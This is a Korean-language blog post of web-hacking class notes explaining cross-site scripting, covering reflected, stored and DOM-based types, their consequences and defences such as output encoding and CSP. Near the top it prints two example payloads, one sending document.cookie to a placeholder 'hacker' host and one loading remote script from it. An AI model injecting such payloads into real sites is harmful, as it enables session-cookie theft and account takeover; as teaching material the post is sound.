본문 바로가기
Web hacking/Nomaltic) 웹 해킹 수업 노트 👩‍💻

[5주차]XSS(Cross-Site Scripting)이란?

by m_.9m 2021. 11. 10.

0. 개념

자바스크립트: 웹 애플리케이션에서 사용되는 언어

HTML : 정적인 내용 / Java Script : 동적인 기능 구현

<script> 코드 </script>와 같이 구현.

 

> 공격 ]예시

<script>document.location="http://hacher.com/cookie?'+document.cookie</script>

<script scr=http://hacker.com/other.js></script>

 

 

1. XSS(교차 사이트 스크립팅)의 개념

 

웹 애플리케이션에서 일어나는 취약점으로 OWASP Top 10에 포함되어 있다. 

 

 

사이트간 스크립팅은 공격자가 취약한 응용프로그램과 사용자의 상호작용을 손상시킬 수 있는 웹 보안 취약점이다. 

크로스 사이트 스크립팅 취약점은 일반적으로 공격자가 피해자 사용자로 가장하여 사용자가 수행할 수 있는 모든 작업을 수행하고 사용자 데이터에 엑세스 할 수 있게 한다. 공격자는 이로 인해 모든 기능과 데이터를 장악할 수 있다. 이는 일반적으로 브라우저 측 스크립트의 형태로 다른 사용자에게 악성코드를 보낼 때 발생한다.

 

<script>와 같은 입력값이 그대로 표시되면 위험. 자바를 이용해 세션 쿠키를 탈취가 가능하다.

 

XSS 취약점은 자신의 브라우저가 임의로 Jacascrip를 실행하게 되는 페이로드를 주입해 확인할 수 있다. HTTP 요청의 입력이 HTML 출력으로 들어갈 수 있는 모든 위치를 검색한다. alert()를 활용하는게 일반적인 관행이였지만, Chrom을 사용 시 약간의 장애가 있어 Print()를 활용하기도 한다. 

 

https://portswigger.net/research/alert-is-dead-long-live-print

 

alert() is dead, long live print()

Cross-Site Scripting and the alert() function have gone hand in hand for decades. Want to prove you can execute arbitrary JavaScript? Pop an alert. Want to find an XSS vulnerability the lazy way? Inje

portswigger.net

 

2. XSS 유발, 잠재적 결과

 

XSS 공격을 유발하는 여러가지 방법 중 하나는 예를 들어 페이지가 로드되거나 사용자가 페이지의 특정 요소(하이퍼 링크) 위로 마우스를 가져갈 때 자동으로 트리거 될 수 있다.

 

-사용자의 키 입력을 캡처

-사용자를 악성 웹 사이트로 리디렉션

-웹 브라우저 기반 익스플로잇 실행(예: 브라우저 충돌)

-웹사이트에 로그인한 사용자의 쿠키정보 획득(따라서 피해자 계정 손상)

 

3. XSS 공격 유형

- 악성 스크립트가 현재 HTTP 요청에서 오는 반사된 XSS
- 악성 스크립트가 웹사이트의 데이터베이에서 오는 저장된 XSS

- 서버 쪽 코드가 아닌 클라이언트 측 코드에 취약점이 존재하는 DOM기반 XSS

 

(1) Reflected XSS

가장 단순한 방식으로 애플리케이션이 HTTP 요청에서 데이터를 수신하고 즉각 응답해 해당 데이터를 포함할 때 가능.

웹 페이지 내 공격자가 제공한 문자열을 코드로 실행하도록 함으로써 사용자에게 렌더링(전달)된다.

 

<원리 순서=반사 되어짐>

1. 공격자가 사용자를 이메일로 피싱

2. 사용자가 웹사이트로 스크립트 코드가 삽입된 요청 전송

3. 웹사이트는 스크립트 코드를 반사.

4. 사용자의 웹브라우저는 스크립트 실행.

5. 이로인해 공격자에게 세션쿠키 전송됨.

6. 세션 쿠기로 이용해 사용자 권한 획득.

 

(2) Stored XSS

응용프로그램이 신뢰할 수 없는 소스에서 데이터를 수신하고 안전하지 않게 HTTP 응답에 해당데이터를 포함할 때 발생한다. 악성 페이로드가 데이터 베이스에 저장될 때 발생한다. 

 

<원리 순서=한번 저장되어 실행>

1. 공격자가 서버의 게시판이나 방명록에 글을 남김

2. 다른 사용자가 이를 읽음.

3. 글에 저장된 스크립트코드가 사용자에게 전달

4. 사용자의 웹브라우저는 스크립트 실행.

5. 공격자에게 세션 쿠키 전달.

6. 사용자 권한 획득.

 

(3) DOM XSS

일반적으로 데이터를 DOM에 다시 쓰는 방식으로 신뢰할 수 없는 소스의 데이터를 안전하지 않은 방식으로 처리하는 클라이언트 측 Java가 포함되어 있을 때 발생한다. 공격자가 응답에 스크립트를 삽입할 때 발생하며 공격자는 문서 개체 모델(DOM)을 읽고 조작하여 악성 URL을 만들 수 있다. 공격자는 이 URL로 사용자가 클릭하도록 속인 후 사용자의 활성 세션 정보, 키 입력등을 훔칠 수 있다. 저장된 XSS 및 반영된 XSS와 달리 DOM기반 클라이언트 측에서 발생하는 것이 특징이다. (서버로 돌아가지 않음) 

 

*DOM 문서 객체 모델이란 XML이나 HTML문서에 접근하기 위한 인터페이스이다. 이 객체 모델은 문서에 모든 요소를 정의하고 각각 요소에 접근하는 방법을 제공합니다.

 

<원리 순서>

1. 공격자가 URL로 악의적인 스크립트를 사용자에게 보냄.

2. 사용자가 이 브라우저를 해석하는 단계에서 발생

 

 

4. 대응 방안

도착 시 필터 입력, 출력시 데이터 인코딩, 적절한 응답헤더 사용, 콘텐츠 보안정책 CSP사용, 심층 방어 원칙을 사용

 

 

 

 

<참고 사이트>

 

 

https://portswigger.net/web-security/cross-site-scripting

 

What is cross-site scripting (XSS) and how to prevent it? | Web Security Academy

In this section, we'll explain what cross-site scripting is, describe the different varieties of cross-site scripting vulnerabilities, and spell out how to ...

portswigger.net

 

 

https://www.youtube.com/watch?v=jvS45jdz1ao 

 

 

https://noirstar.tistory.com/266

 

XSS(Cross-Site Scripting) 이란?

2. XSS (Cross-Site Scripting)  2.1 개요 Ÿ   XSS Attack  XSS(Cross-Site Scripting) 이란 웹 애플리케이션에서 일어나는 취약점으로 관리자가 아닌 권한이 없는 사용자가 웹 사이트에 스크립트를 삽입하..

noirstar.tistory.com